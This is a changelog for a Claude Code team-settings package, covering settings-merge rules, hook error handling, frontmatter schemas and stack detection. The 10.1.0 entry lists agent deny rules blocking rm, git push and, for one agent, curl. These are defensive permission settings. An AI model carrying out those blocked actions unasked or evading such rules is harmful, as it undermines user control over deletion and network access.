Files changed:
MANUAL.md— explicit "Requires Bun ≥ 1.1.30" callout in the Quickstart.src/setup.ts—VERSION10.10.0 → 10.10.1.
[10.10.0] — 2026-05-04
test: E2E install + golden migration fixtures
Two new test layers cover ground that unit tests couldn't:
Golden migration fixtures (tests/fixtures/migrations/<scenario>/). Each scenario ships three files: team-settings.json (what cc-settings ships), user-settings.json (what the user has), expected.json (post-merge state). The runner deep-equals merger output against expected, with a sandboxed copy so fixtures stay immutable. Three scenarios committed:
| Scenario | What it locks in |
|---|---|
pre-v10-bash-hooks | v10.3.2 hook prune: stale bash $HOME/.claude/scripts/*.sh references in user settings get dropped, team's bun .../src/scripts/*.ts survives |
pre-v10-bash-statusline | v10.4.1 statusLine reset: stale bash $HOME/.claude/scripts/statusline.sh gets replaced with team's bun .../src/hooks/statusline.ts |
user-customizations-preserved | Custom env vars + custom permission rules + custom Notification hook all survive a merge that simultaneously prunes a stale Stop hook |
These exercise the same ground as the unit tests (tests/phase3-libs.test.ts) but as snapshots — a refactor that accidentally drops a key or reorders output now fails with a deep-diff, not a missing assertion.
E2E install test (tests/install-e2e.test.ts). Spawns bun src/setup.ts --source=<repo> with HOME pointed at a fresh tmpdir + CC_SKIP_DEPS=1. Asserts the resulting ~/.claude/ tree shape: every managed directory exists, settings.json is valid JSON with the expected $schema and statusLine.command, the version sentinel was written, the first-install delta line printed. Three tests:
| Test | Coverage |
|---|---|
| First install on fresh HOME | full install path: backup → directories → cleanOldConfig → installConfigFiles → installTsSources → settings merge → sentinel → summary |
| Second install (re-run) | re-install path with existing sentinel; summary still prints |
--migrate-only flag | merger + sentinel only; CLAUDE.md should NOT be copied |
CC_SKIP_DEPS=1 env var. New escape hatch in installDependencies. Prevents the installer from running npm i -g pinchtab, pipx install llm-tldr, etc. — those write outside HOME and would pollute the dev/CI environment. Used by the E2E test; users won't typically need it.
Files changed:
tests/fixtures/migrations/{pre-v10-bash-hooks,pre-v10-bash-statusline,user-customizations-preserved}/{team,user,expected}-settings.json— 9 fixture files.tests/golden-migrations.test.ts— fixture runner (4 tests).tests/install-e2e.test.ts— E2E install runner (3 tests).src/setup.ts—CC_SKIP_DEPSguard ininstallDependencies.src/setup.ts—VERSION10.9.0 → 10.10.0.
[10.9.0] — 2026-05-04
refactor: strategy-based merge tree (internal-only)
Replaced the hand-coded mergeSettingsWithMcpPreservation with a strategy table. Each top-level field in settings.json registers a Strategy function in STRATEGIES; the orchestrator walks every key in (team ∪ user), picks the strategy (defaulting to user-wins-scalar), and assembles the result. Adding a new field-specific behavior is now one registry entry instead of a new helper + a new branch in the main function + a new accounting field — see for example the v10.4.1 statusLine fix, which previously required wedging a post-merge step into the orchestrator.
Behavior preserved end-to-end — all 236 existing tests pass without modification:
- permissions: deep object with array unions + scalar conflicts (deny is always additive)
- hooks: per-event group union with deprecated-script prune
- env: shallow merge, user wins on conflict
- statusLine: user wins, except when command targets a removed cc-settings script
- mcpServers: interactive preservation prompt (still handled before the per-key loop because the prompt is shared across the whole merge, not scoped to one strategy)
- unknown keys: fall through to user-wins-scalar (with prompts in interactive mode)
New regression test locks in the fallback for unknown top-level keys — a future Claude Code key cc-settings doesn't know about will round-trip through the merger without being dropped.
Internal data layout:
interface StrategyContext {
opts: MergeOptions;
accounting: MergeAccounting; // strategies write counts here; orchestrator reads at the end
}
type StrategyResult = { keep: false } | { keep: true; value: unknown };
type Strategy = (team: unknown, user: unknown, ctx: StrategyContext) => Promise<StrategyResult>;
const STRATEGIES: Record<string, Strategy> = {
permissions: permissionsStrategy,
hooks: hooksStrategy,
env: envStrategy,
statusLine: statusLineStrategy,
};
mcpServers is still handled outside the table because its preservation prompt fires once for the whole merge, not per-key.
Files changed:
src/lib/mcp.ts— strategy interface + 4 strategy functions +userWinsScalarStrategyfallback + new orchestrator. Net: replaces ~250 LOC of hand-coded helpers + special-cases with ~330 LOC of structured strategies. Slightly longer but every field's logic is in one place and the orchestrator is a single loop.tests/phase3-libs.test.ts— added regression test for unknown-key fallback.src/setup.ts—VERSION10.8.0 → 10.9.0.
[10.8.0] — 2026-05-04
feat: --migrate-only flag
Re-running bash setup.sh does the full install: dependency check, file copy, MANAGED_SKILLS refresh, settings merger. For users who hit a deprecation message ("Reset stale statusLine command…", "Pruned N stale hook reference(s)…") and want to clean up their settings without the rest, that's overkill.
--migrate-only runs just the merger + version sentinel + version delta + prereq check. Skipped:
installDependencies(bun, jq, pinchtab, tldr — assumed present)cleanOldConfig(no need to wipe managed content)installConfigFiles(no skill / agent / docs refresh)installTsSources(nosrc/recopy)showSummary(the visual recap is meant for full installs)
Backup still runs. createDirectories still runs (idempotent — ensures ~/.claude/ shape exists for the merger).
bash setup.sh --migrate-only
Files changed:
src/setup.ts—Args.migrateOnly,parseArgsexports + handles--migrate-only,main()branches on it.tests/setup-args.test.ts— new file. 10 parser tests covering every flag (--rollback,--rollback=<ts>,--dry-run,--status,--interactive,--migrate-only,--source=<path>,--help/-h, multi-flag composition, defaults).MANUAL.md— Quickstart mentions--migrate-only.src/setup.ts—VERSION10.7.1 → 10.8.0.
[10.7.1] — 2026-05-04
fix: composeSettings asserts unique numeric prefixes
composeSettings previously sorted config/*.json fragments alphabetically. With 4 fragments today (10-core, 20-mcp, 30-permissions, 40-hooks) that worked, but it would silently miscompose if someone added 010-foo.json (which alphabetizes before 10-core.json) or 100-extra.json (which alphabetizes between 10- and 20-). Both edge cases produced ambiguous merge order with no error.
The composer now:
- Sorts by numeric prefix value —
10-*comes before100-*(was reversed under alpha sort). - Rejects fragments without a numeric prefix —
extra.jsonthrows at install with a clear message. - Rejects collisions on numeric value —
10-foo.jsonand010-bar.json(both 10) both throw, naming the conflict.
The naming contract <digits>-<name>.json is now formally enforced.
Files changed:
src/lib/compose-settings.ts— prefix extraction + uniqueness check + numeric sort.tests/compose-settings.test.ts— 11 tests: repo dogfood, naming contract failures, ordering correctness, content errors, empty/missing dir.src/setup.ts—VERSION10.7.0 → 10.7.1.
[10.7.0] — 2026-05-04
feat: agent + skill frontmatter validation at install
Typos like effort: xtreme or permissionMode: planning used to silently degrade agents — the field would be ignored and the agent would run with defaults. The installer now parses every agents/*.md and skills/*/SKILL.md frontmatter against a zod schema and warns about issues before shipping the file to ~/.claude/.
New schema — src/schemas/agent.ts:
| Field | Type | Notes |
|---|---|---|
name | kebab-case string | required |
description | non-empty string | required |
model | opus / sonnet / haiku / pinned variant | accepts opus[1m]-style strings |
effort | low / medium / high / xhigh / max | strict — typos rejected |
permissionMode | default / acceptEdits / plan / auto / dontAsk / bypassPermissions | mirrors upstream manifest |
isolation | worktree | strict |
memory | project | strict |
tools, disallowedTools | string arrays | passthrough |
maxTurns | positive integer | |
color, initialPrompt, hooks, mcpServers | accepted, lightly typed |
The schema is .passthrough() on unknown fields — agent ecosystem is fast-moving and we'd rather accept than reject. Strict enums on the well-known fields are where the value is.
New validator — src/lib/frontmatter-validate.ts:
Walks agents/*.md and skills/*/SKILL.md, parses each frontmatter, validates against the corresponding schema, returns the combined issue list. Wired into setup.ts's install flow — non-fatal warning so a single bad agent doesn't block install of the rest.
JSON schema published — schemas/agent.schema.json joins the others at raw.githubusercontent.com/darkroomengineering/cc-settings/main/schemas/. IDEs that point at it get autocomplete on effort, permissionMode, etc. when authoring agents.
Files changed:
src/schemas/agent.ts— new zod schema.src/schemas/emit.ts— added agent.schema.json target.src/lib/frontmatter-validate.ts— install-time validator.src/setup.ts— calls validator before install, warns viawarn()if any issues.tests/agent-schema.test.ts— 16 tests: schema unit tests, repo dogfood (all 10 agents + 42 skills validate today), synthetic failure cases (effort typo, permissionMode typo, kebab violation, missing delimiters, empty dirs).schemas/agent.schema.json— emitted.src/setup.ts—VERSION10.6.1 → 10.7.0.
[10.6.1] — 2026-05-04
fix: hook fail-open audit — wrap 7 unhardened scripts
A hook crash is supposed to be invisible to the parent operation. Audit revealed 7 of 25 hook scripts could throw uncaught (rest already had try { or .catch():
| Script | Hook event | What could throw |
|---|---|---|
notify.ts | Notification | await notifyWindows() if PowerShell crashed |
cwd-changed.ts | CwdChanged | projectAwareness() (git read failure, missing files) |
session-title.ts | UserPromptSubmit | mkdir/writeFile on permissions or disk full |
check-docs-before-install.ts | PreToolUse:Bash | regex/string ops (defensive — low actual risk) |
post-edit-tsc.ts | PostToolUse | Bun.spawn if bunx missing |
pre-commit-tsc.ts | PreToolUse:Bash (git commit) | spawn / Promise.all crash |
stop-summary.ts | Stop | git diff --stat outside a repo or git missing |
Each now wraps its body in try { … } catch { /* silent */ }, matching the pattern already used by safety-net.ts (the highest-criticality hook).
pre-commit-tsc.ts keeps its blocking semantics: genuine error TS<N> from tsc still exits 1 to block the commit. Only infrastructure crashes (bunx missing, spawn failure) fail open. The commit guard rail is preserved.
Skipped:
swarm-log.tsalready uses.catch(() => {})on every IO call — defensive enough.claude-audit.tsis a manual CLI invoked by/audit, not a hook; errors there should be visible to the user.
Regression test: tests/hook-fail-open.test.ts walks every TS script wired in config/40-hooks.json and asserts each contains either try { or .catch(. Future hooks can't ship without fail-open handling.
Files changed:
src/scripts/{notify,cwd-changed,session-title,check-docs-before-install,post-edit-tsc,pre-commit-tsc,stop-summary}.ts— wrapped in try/catch.tests/hook-fail-open.test.ts— new regression test.src/setup.ts—VERSION10.6.0 → 10.6.1.
[10.6.0] — 2026-05-04
feat: skills declare requires: (CLI / MCP); installer warns about missing prereqs
Skills with external dependencies now declare them in their frontmatter:
---
name: lighthouse
description: …
requires:
- command: lighthouse
install: "npm i -g lighthouse"
---
The installer walks every skill at the end of setup.sh, evaluates each requires: against the user's environment (CLIs via Bun.which, MCP servers via the union of ~/.claude/settings.json and ~/.claude.json), and prints a single warning block listing any missing prereqs. Non-fatal — the skill still runs; users just know in advance which ones will fail until they install the prereq.
Annotated this release:
| Skill | Requires |
|---|---|
/lighthouse | lighthouse CLI |
/figma | pinchtab CLI + figma MCP |
/qa | pinchtab CLI |
/debug | pinchtab CLI |
/tldr | tldr MCP (pipx install llm-tldr) |
/docs | context7 MCP (ships by default) |
Schema change: src/schemas/skill.ts now exports SkillRequirement (discriminated union of { command } or { mcp }, both with optional install hint). SkillFrontmatter.requires is optional; existing skills without it continue to work unchanged. Each entry must declare exactly one of command or mcp.
Files changed:
src/schemas/skill.ts— newSkillRequirementschema;requiresfield added toSkillFrontmatter.src/lib/skill-prereqs.ts— new helper: parse skills, read MCP servers from settings.json + ~/.claude.json, evaluate requires, format warning block.src/setup.ts— callsreportMissingPrereqsaftershowSummary, warns viawarn()if any prereq is missing.tests/skill-prereqs.test.ts— 20 tests: schema validation, MCP server reading (with malformed-JSON tolerance), CLI/MCP requirement checks, end-to-end report aggregation, formatter cases.skills/{lighthouse,figma,qa,debug,tldr,docs}/SKILL.md— annotated withrequires:.schemas/skill.schema.json— regenerated (now describesSkillRequirement).src/setup.ts—VERSION10.5.2 → 10.6.0.
[10.5.2] — 2026-05-04
feat: install-summary version delta
Re-running bash setup.sh now ends with a one-block summary of what landed since the previous install:
cc-settings: v10.4.1 → v10.5.2 (3 version(s) since last install)
• v10.5.2: install-summary version delta
• v10.5.1: docs: MANUAL.md Day-1 Quickstart
• v10.5.0: IDE IntelliSense — published JSON schemas at GitHub raw
Reads the version sentinel (~/.claude/.cc-settings-version) BEFORE the install overwrites it, parses ## [X.Y.Z] — DATE + ### <title> headings out of CHANGELOG.md, and renders the delta. First installs print cc-settings: first install at v<X>. Re-installs of the same version print nothing. Downgrades (rollback scenarios) are flagged.
The merger's existing migration messages (hook prune, statusLine reset) still print separately — those tell you what the merger did, while the delta tells you which versions you got.
Files changed:
src/lib/version-delta.ts— new helper. Pure parsing/formatting + sentinel read.src/setup.ts— capturesprevInstalledVersionbeforewriteVersionSentinel, prints delta aftershowSummary.tests/version-delta.test.ts— 23 tests covering compareVersion, sentinel parsing, CHANGELOG parsing, between-filtering, format cases (first install / same / downgrade / forward / missing CHANGELOG), and a roundtrip against the repo's real CHANGELOG.src/setup.ts—VERSION10.5.1 → 10.5.2.
[10.5.1] — 2026-05-04
docs: MANUAL.md Day-1 Quickstart
Replaced the install-only "Quick Start" header with a true Day-1 Quickstart: install → /init (asks satus vs novus) → "describe what you want" golden-path table → "ask Claude what skill handles X" escape hatch. Closes the orientation gap a fresh joiner felt — they now have a 5-minute path from install to productive work without scrolling the 500-line reference.
The "Daily Workflows" section still exists as the next layer of depth. Existing skill / agent / hook tables unchanged.
Files changed:
MANUAL.md— replaced lines 6-23 with a 5-step Quickstart.src/setup.ts—VERSION10.5.0 → 10.5.1.
[10.5.0] — 2026-05-04
IDE IntelliSense — published JSON schemas at GitHub raw
The schemas/*.schema.json files (already generated from src/schemas/*.ts via bun run schemas:emit) now carry real $id URLs at raw.githubusercontent.com/darkroomengineering/cc-settings/main/schemas/. VSCode, Cursor, JetBrains, and any JSON-Schema-aware editor will autocomplete every cc-settings field, validate values, and surface inline docs.
The composed team settings.json (via config/10-core.json) now references our schema instead of json.schemastore.org/claude-code-settings.json. Users who author ~/.claude/settings.json by hand can add "$schema": "..." at the top to opt in.
Files changed:
src/schemas/emit.ts—$idURLs now point at GitHub raw on main; placeholdercc-settings.darkroom/schema/...URLs replaced.schemas/{settings,hooks-config,skill,claude-json}.schema.json— regenerated.config/10-core.json—$schemapoints at our published schema.package.json— newschemas:checkscript (regen + assert no diff; CI guard against zod-source changes that forget to re-emit).tests/schemas.test.ts— coverage for $id URLs, title metadata, config $schema reference, roundtrip composed-settings validation.docs/settings-reference.md— "IDE IntelliSense" section explains the published URLs.src/setup.ts—VERSION10.4.1 → 10.5.0.
[10.4.1] — 2026-05-04
Fix: statusline missing for pre-v10 upgraders
Some users were seeing no statusline at all after upgrading. Root cause: pre-v10 cc-settings shipped statusLine as bash "$HOME/.claude/scripts/statusline.sh". The bash → TS migration in v10.0.0 deleted that directory and rewrote the team value to bun "$HOME/.claude/src/hooks/statusline.ts" — but the merger does { ...teamRaw, ...userRaw } for top-level objects, so any user with the old value carried it forward. Claude Code tries to spawn the missing script, gets a non-zero exit, and renders no bar.
The hooks-array prune from v10.3.2 didn't cover this case because statusLine is a single top-level object, not an array entry.
Fix: the merger now also detects when userRaw.statusLine.command matches DEPRECATED_COMMAND_PATTERNS and resets to the team value. Custom user statuslines pointing at non-deprecated paths (e.g. their own script) are left alone.
Existing affected users: re-run bash setup.sh. The summary line Reset stale statusLine command… confirms cleanup.
The DEPRECATED_HOOK_COMMAND_PATTERNS constant from v10.3.2 was renamed to DEPRECATED_COMMAND_PATTERNS since it now applies to both hook entries and the top-level statusLine.
Files changed:
src/setup.ts—VERSION10.4.0 → 10.4.1.src/lib/mcp.ts— generalize the deprecation registry; reset stale statusLine post-merge.tests/phase3-libs.test.ts— coverage for stale-statusLine reset + non-deprecated-statusLine preservation.
[10.4.0] — 2026-05-04
Stack-aware ergonomics — Next.js (satus) + React Router (novus)
Darkroom is splitting between two starters — satus (Next.js) and novus (React Router 7) — and cc-settings now mirrors that. Rules describe stack-agnostic principles followed by clearly-labeled Next.js + React Router subsections. Scaffolding skills detect the project's stack from package.json and emit the right shape.
New:
profiles/react-router.md— full RR7 profile mirroringprofiles/nextjs.md: route module exports, loaders, actions,defer(), novus-specific path alias / asset pipeline notes.src/lib/stack.ts— detector returning{ kind, starter, alsoDetected, evidence, cwd }. Detects nextjs, react-router, vite-react, react-native, tauri, unknown. Readspackage.jsondeps + config files + folder shape (in that order). Recognizes satus and novus starters from name lineage or explicitdarkroom.startermarker.tests/stack.test.ts— 23 tests covering each detection path, multi-stack projects, starter detection, malformed input.
Refactored rules:
rules/web-vitals.md,rules/react-perf.md,rules/performance.md,rules/react.mdrewritten to lead with stack-agnostic principles + Next.js/RR subsections. The model picks the right pattern from visible imports — no detector layer in rules.
Refactored scaffolding skills (read package.json, branch on stack):
/component— paths, image/link wrappers,'use client'directive, path alias all branch./hook—lib/hooks/(satus) vshooks/(novus); directive presence; browser-API guards./init— picks satus or novus, asks if user is unsure./build— research gate detects stack; primitives table covers both./lenis— mount point differs (app/layout.tsxvsapp/root.tsx).
Refactored agents:
agents/scaffolder.md— templates per stack for component/hook/page/server-endpoint. RR resource routes + actions added.agents/reviewer.md— checklist now stack-aware (RR component is isomorphic; satus uses'use client'boundary).
Statusline fix:
- Effort+thinking marker
⚙xhigh†was reading asxhight†in monospace terminal fonts where the dagger glyph has a t-like ascender. Replaced†→+(⚙xhigh+is unambiguous in any font).src/hooks/statusline.ts:114.
Docs:
MANUAL.mdadds thereact-routerprofile row and a "Stack-aware skills" section pointing at the detector.
Files changed:
src/setup.ts—VERSION10.3.2 → 10.4.0.src/lib/stack.ts— new detector.src/hooks/statusline.ts— dagger → plus.tests/stack.test.ts— new test file (23 tests).profiles/react-router.md— new profile.rules/web-vitals.md,rules/react-perf.md,rules/performance.md,rules/react.md— stack-aware rewrite.skills/component/SKILL.md,skills/hook/SKILL.md,skills/init/SKILL.md,skills/build/SKILL.md,skills/lenis/SKILL.md— stack detection + dual templates.skills/docs/SKILL.md,skills/lighthouse/SKILL.md,skills/prd/SKILL.md— minor stack-aware references.agents/scaffolder.md,agents/reviewer.md— stack-aware checklists/templates.MANUAL.md— react-router profile row + stack-aware skills section.
Why minor (10.4.0) not patch: new feature surface (RR profile, stack detector, dual templates) + behavior change in scaffolding skills. No breaking changes — projects with no detectable stack get the same default behavior as before (satus assumptions).
[10.3.2] — 2026-05-04
Fix: prune stale hook references to removed ~/.claude/scripts/*.sh
Re-run bash setup.sh if you're seeing bash: ~/.claude/scripts/<name>.sh: No such file or directory on every session — the merger now scrubs those leftover refs from your settings.json. The summary line Pruned N stale hook reference(s)… confirms cleanup.
The bash → TypeScript migration in v10.0.0 deleted ~/.claude/scripts/, but the per-event hook union in mergeHooks preserved any user-side reference that didn't byte-match a current team entry. New DEPRECATED_HOOK_COMMAND_PATTERNS in src/lib/mcp.ts is the registry for future removals — see the comment block above the constant.
User memory is never touched by install: ~/.claude/memory/, ~/.claude/memory/agents/, and per-project ~/.claude/projects/<slug>/memory/ are only mkdir-ensured. autoMemoryDirectory survives the merger's user-wins scalar pass.
v2.1.126 Sync — Manifest-only bump
v2.1.124–2.1.126 were patch fixes only. No new schema keys, hooks, env vars, or frontmatter — nothing to absorb.
Notable upstream fixes that benefit cc-settings automatically:
- Deferred tools (
WebSearch,WebFetch, …) now reachcontext: forkskills on first turn (18+ cc-settings skills). - Stream idle timeout no longer aborts on Mac sleep / long Opus thinking pauses.
- OAuth login handles IPv6 devcontainers, slow connections, and manual code paste.
Ctrl+Lredraws instead of clearing the prompt.
Files changed:
src/setup.ts—VERSION10.3.1 → 10.3.2.src/lib/mcp.ts—DEPRECATED_HOOK_COMMAND_PATTERNS+ prune logic inmergeHooks.tests/phase3-libs.test.ts— stale-hook prune coverage.upstream/claude-code-manifest.json— 2.1.123 → 2.1.126.
[10.3.1] — 2026-04-30
v2.1.123 Sync — Adopt ANTHROPIC_BEDROCK_SERVICE_TIER, spinnerTipsOverride
Reviewed cc-settings against Claude Code changelog v2.1.121 → v2.1.123. Quiet cycle: v2.1.123 was fix-only, and v2.1.122 was mostly bug fixes plus two additive surface changes. No native overlap to remove.
Adopted:
ANTHROPIC_BEDROCK_SERVICE_TIERenv var (v2.1.122) — acceptsdefault,flex, orpriority; sent as theX-Amzn-Bedrock-Service-Tierheader so Bedrock callers can pick a service tier without a custom proxy. Added toupstream/claude-code-manifest.jsonknownEnvVarsand the env-var table indocs/settings-reference.md.spinnerTipsOverridesetting (v2.1.122) — upstream fixedspinnerTipsOverride.excludeDefaultnot suppressing time-based spinner tips, which means the key is real and our.strict()schema would reject it. AddedSpinnerTipsOverride(passthrough, onlyexcludeDefault: booleandocumented upstream) tosrc/schemas/settings.ts, and a section todocs/settings-reference.md. Added to manifestknownSettingsKeys.- Manifest bump —
upstream/claude-code-manifest.json:2.1.121→2.1.123, refreshedlastScanto2026-04-30.
Files changed:
src/setup.ts—VERSION10.3.0 → 10.3.1.src/schemas/settings.ts—SpinnerTipsOverrideschema +spinnerTipsOverridefield.upstream/claude-code-manifest.json— version bump,ANTHROPIC_BEDROCK_SERVICE_TIER,spinnerTipsOverridekeys.docs/settings-reference.md— env-var table row +spinnerTipsOverridesection.
Native-now-redundant: none this cycle.
Skipped (bug fixes, no surface change): OAuth 401 retry loop with CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1, /branch rewound-timeline forks, /model Effort for Bedrock ARNs, Vertex/Bedrock structured-output output_config errors, Vertex count_tokens proxy 400s, ToolSearch missing late-attached MCP tools in nonblocking mode, !exit/!quit exiting CLI from bash mode, image resize 2576px → 2000px, remote-control idle redraw flooding tmux -CC, stale view preference blanking messages, malformed hooks no longer invalidating settings.json, OTel numeric attribute serialization, OTel claude_code.at_mention log event, Caps Lock voice keybinding error, /resume PR-URL paste, /mcp clarifications.
[10.3.0] — 2026-04-28
v2.1.121 Sync — Adopt alwaysLoad, mcp_tool hooks, statusline effort, agent permissionMode
Reviewed cc-settings against Claude Code changelog v2.1.115 → v2.1.121. No native overlap to remove this cycle (the v10.1.0 sweep already cleared the big duplications). Adopted seven new upstream features.
Adopted:
- MCP
alwaysLoad: true(v2.1.121) —config/20-mcp.jsonoptscontext7out ofENABLE_TOOL_SEARCHdeferral. Docs lookup is hot-path; the deferral round-trip was paid on every/docs-style prompt. Schema:src/schemas/mcp.tssharedmcpCommonblock on bothMcpStdioServerandMcpHttpServer. type: "mcp_tool"hooks (v2.1.118) — addedMcpToolHookto theHookdiscriminated union insrc/schemas/hooks.ts(fields:server,tool, optionalinputwith${path}substitution). Settings validation now accepts the new hook type without complaint when users wire it up.prUrlTemplatesetting (v2.1.119) — added toSettingsschema; documented indocs/settings-reference.md. Lets teams point the footer PR badge at internal review tools instead of github.com.- Statusline effort + thinking display (v2.1.119) —
src/hooks/statusline.tsnow readseffort.levelandthinking.enabledfrom stdin and renders them as a dimmed marker on the model name (Opus 4.7 ⚙xhigh†). The†indicates thinking enabled. - Agent
permissionMode: plan(v2.1.119) — added to all four read-only agents (explore,oracle,reviewer,security-reviewer). When the user runsclaude --agent revieweror similar, Claude Code now honors this mode automatically. - New env vars in manifest + docs —
CLAUDE_CODE_HIDE_CWD(v2.1.119),DISABLE_UPDATES(v2.1.118),CLAUDE_CODE_FORK_SUBAGENT(v2.1.117/121),AI_AGENT(v2.1.120),CLAUDE_EFFORT(v2.1.120, skill-only),OTEL_LOG_USER_PROMPTS(v2.1.121). - Manifest bump —
upstream/claude-code-manifest.json:2.1.114→2.1.121, addedprUrlTemplatetoknownSettingsKeys,mcp_tooltoknownHookTypes, refreshedlastScan.
Files changed:
src/setup.ts—VERSION10.2.1 → 10.3.0.upstream/claude-code-manifest.json— version bump + key additions above.src/schemas/settings.ts—prUrlTemplatefield.src/schemas/hooks.ts—McpToolHook+ 5-arm discriminated union.src/schemas/mcp.ts— sharedmcpCommonblock addsalwaysLoad.config/20-mcp.json—context7.alwaysLoad = true.src/hooks/statusline.ts— effort/thinking marker on model name.agents/{explore,oracle,reviewer,security-reviewer}.md—permissionMode: plan.CLAUDE-FULL.md— agent frontmatter table (addedpermissionMode,mcpServersrows).docs/settings-reference.md— env-var table,prUrlTemplate, MCP fields table, context7 example.
Native-now-redundant: none this cycle. Closest call was ENABLE_TOOL_SEARCH=auto:50 vs per-server alwaysLoad, but the env var still controls the global default — they're complementary, not redundant.
[10.2.1] — 2026-04-24
Fix: stdio MCP servers launch via bunx instead of npx
context7 and chrome-devtools failed to start from any project whose root package.json combined Bun's catalog: protocol with overrides (npm aborts with EOVERRIDE: Override for elysia@catalog: conflicts with direct dependency). Because npx resolves from the current working directory, the failure surfaced whenever Claude Code was launched inside such a monorepo — /mcp reported Failed to reconnect to context7 / chrome-devtools even though auth and network were fine.
Swapped "command": "npx" → "command": "bunx" for all stdio servers. Bun understands catalog: natively, and cc-settings already mandates bun >=1.1.30 (see package.json engines), so the dependency is guaranteed.
Changes:
config/20-mcp.json—context7,chrome-devtoolsnow launch viabunx.mcp-configs/recommended.json—context7,chrome-devtools(installed) andgithub,memory(optional) updated for consistency.mcp-configs/README.md— examples updated, added a note explaining thebunxchoice.docs/settings-reference.md—context7example updated with a monorepo note.
Existing installs: re-running setup.sh does not overwrite MCP servers already in ~/.claude.json (user entries shadow the team baseline — see src/lib/mcp.ts:481). To migrate an existing install:
claude mcp remove context7 -s user
claude mcp remove chrome-devtools -s user
bash ~/Developer/@darkroom/cc-settings/setup.sh
[10.2.0] — 2026-04-22
Non-destructive settings.json merge + --interactive installer
Re-running the installer no longer overwrites hand-edits to ~/.claude/settings.json. Root cause was { ...teamRaw, mcpServers: ... } in mergeSettingsWithMcpPreservation wholesale-replacing every top-level key; only mcpServers had preservation logic. Users reported losing hand-added Bash permissions (the trigger for this work).
New merge policy (non-interactive, default):
permissions.{allow,deny,ask,additionalDirectories}→ union; team baseline stays as the floor, user additions preserved.denyis always additive (safety guardrail).permissions.defaultMode/autoMode→ user wins when declared.hooks→ per-event union of groups, dedupe by structural equality.env→ shallow merge, user values win on conflict (local overrides likeENABLE_PROMPT_CACHING_1Hstick).- Top-level scalars (
model,statusLine,theme, …) → user wins when declared. mcpServers→ unchanged (interactive prompt).
Installer logs a one-line summary of preserved customizations, e.g. ✓ Preserved user customization: 3 permission rule(s), 1 env override(s).
New --interactive flag:
bash setup.sh --interactive (or CC_INTERACTIVE=1) prompts on each real conflict point:
- Scalar conflicts (top-level,
permissions.defaultMode/autoMode,env.*) → "keep your value / take team's". - Team additions to
permissions.allow/ask/additionalDirectoriesand new hook groups → "adopt / skip". permissions.denyadditions and user-only entries never prompt.
Defaults on every prompt reproduce the non-interactive output, so --interactive is a safe way to audit the merge before committing.
Changes:
src/lib/mcp.ts— rewrotemergeSettingsWithMcpPreservation; addedMergeOptions, field-aware merge helpers (unionPermissionArray,mergePermissions,mergeHooks,mergeEnv,resolveTopLevelScalars,resolveScalarConflict).src/setup.ts— added--interactiveflag (andCC_INTERACTIVE=1env); threaded through toinstallSettings.setup.sh/setup.ps1— documented--interactivein flag headers (bootstrap already forwards all args).tests/phase3-libs.test.ts— 7 new tests: permission union, team-deny re-appearance, hook union, env user-wins, top-level scalar user-wins, interactive-with-defaults parity, interactive-deny-always-applies.README.md/MANUAL.md— install sections mention non-destructive behavior +--interactive.docs/settings-reference.md— new "Re-install Merge Behavior" section documenting both modes.
[10.1.0] — 2026-04-21
v2.1.116 Sync — Duplication Cleanup + New Feature Adoption
Reviewed cc-settings against Claude Code changelog v2.1.0 → v2.1.116 (2026-04-21). Removed duplication with native features, adopted new capabilities.
Deletions (~550 lines removed):
src/hooks/skill-activation.ts(107 lines) — NativeSkilltool (v2.1.108) auto-matches skills fromdescriptionfrontmatter. Custom pattern-matching hook no longer needed.src/scripts/compile-skills.ts(144 lines) — Only consumed by deletedskill-activation.ts. Along with the~/.claude/skill-index.compiledside-file.src/lib/skill-patterns.ts(hot-path Record lookup) — Only used by deleted scripts. Also removed its test block intests/phase3-libs.test.tsand export fromsrc/lib/index.ts.src/scripts/detect-correction.ts— 10-line trigger-word regex over UserPromptSubmit. Low signal; users can invoke/learnthemselves.skills/versions/— Subset of/docs+ the existingcheck-docs-before-install.tsPreToolUse hook.MANAGED_SKILLSkeepsversionsfor one release to clean up stale installs.compile-skillsinvocation insrc/scripts/session-start.tsandcompileSkillIndex()insrc/setup.ts— dead after the above.
Adopted (new Claude Code features):
- Session auto-titling via
hookSpecificOutput.sessionTitle(v2.1.94) — newsrc/scripts/session-title.tsUserPromptSubmit hook derives 3-5 word kebab-case title from the first prompt. Makesclaude --resume <name>usable (v2.1.101). - Agent
disallowedToolsfrontmatter (v2.1.84) — added permission-rule-syntax blocklists to every agent:- Read-only agents (
explore,oracle,reviewer,security-reviewer): blockBash(git commit:*),Bash(git push:*),Bash(rm:*),Bash(gh pr:*)(plusBash(curl:*)for security-reviewer). - Writing agents (
implementer,scaffolder,tester,deslopper,maestro): blockBash(git push:*),Bash(rm:*)— git push and file deletion must be user-initiated.
- Read-only agents (
- Agent
maxTurnsfrontmatter (v2.1.84) —explore: 30,oracle: 25,reviewer: 30,security-reviewer: 30. Caps read-only agents from runaway loops. sandboxblock insettings.json(v2.1.113) —failIfUnavailable: falseby default; docs explain how to flip on once sandbox availability is confirmed per platform.CLAUDE_CODE_SCRIPT_CAPS=500(v2.1.98) — bounds per-session hook-script invocations. Cheap insurance given ~14 configured hooks.
Documentation swept:
CLAUDE-FULL.md— new sections for session auto-titling and agent frontmatter table.docs/hooks-reference.md— UserPromptSubmit table reflectssession-title.tsonly; removed staleskill-activation.outlog reference and its debug snippet.docs/settings-reference.md— addedCLAUDE_CODE_SCRIPT_CAPS,ENABLE_PROMPT_CACHING_1H,CLAUDE_CODE_NO_FLICKERenv vars; expandedsandboxfield reference.docs/migration-coexistence.md— Phase 4 note updated to reflect later deletion ofskill-activation/compile-skills.MANUAL.md— merged the/versionsentry into the/docssection.skills/README.md— removedversionsrow from Tools table.hooks/README.md— retabled configured hooks (UserPromptSubmit now a single entry),.sh → .tsscript names aligned with reality post-TS-migration.agents/deslopper.md— Bash/Markdown cross-index example now points atMANAGED_SKILLSarray instead of deletedskill-patterns.sh.
Opportunities flagged, not adopted:
CwdChanged/FileChangedhooks (v2.1.83) — reactive env management; no concrete use case yet.Elicitation/ElicitationResulthooks (v2.1.76) — could intercept Sanity/Figma OAuth prompts; deferred.- OTEL env vars (
OTEL_LOG_USER_PROMPTS,OTEL_LOG_RAW_API_BODIES) — could replacelog-bash.ts+swarm-log.tsat team scale; deferred until collector exists. /ultrareview(v2.1.111) — native parallel multi-agent review; our/reviewis a thin agent wrapper with different surface area, kept for now./less-permission-prompts(v2.1.111) — run it once against the current 60+ entry allow list to consolidate; owner to schedule.
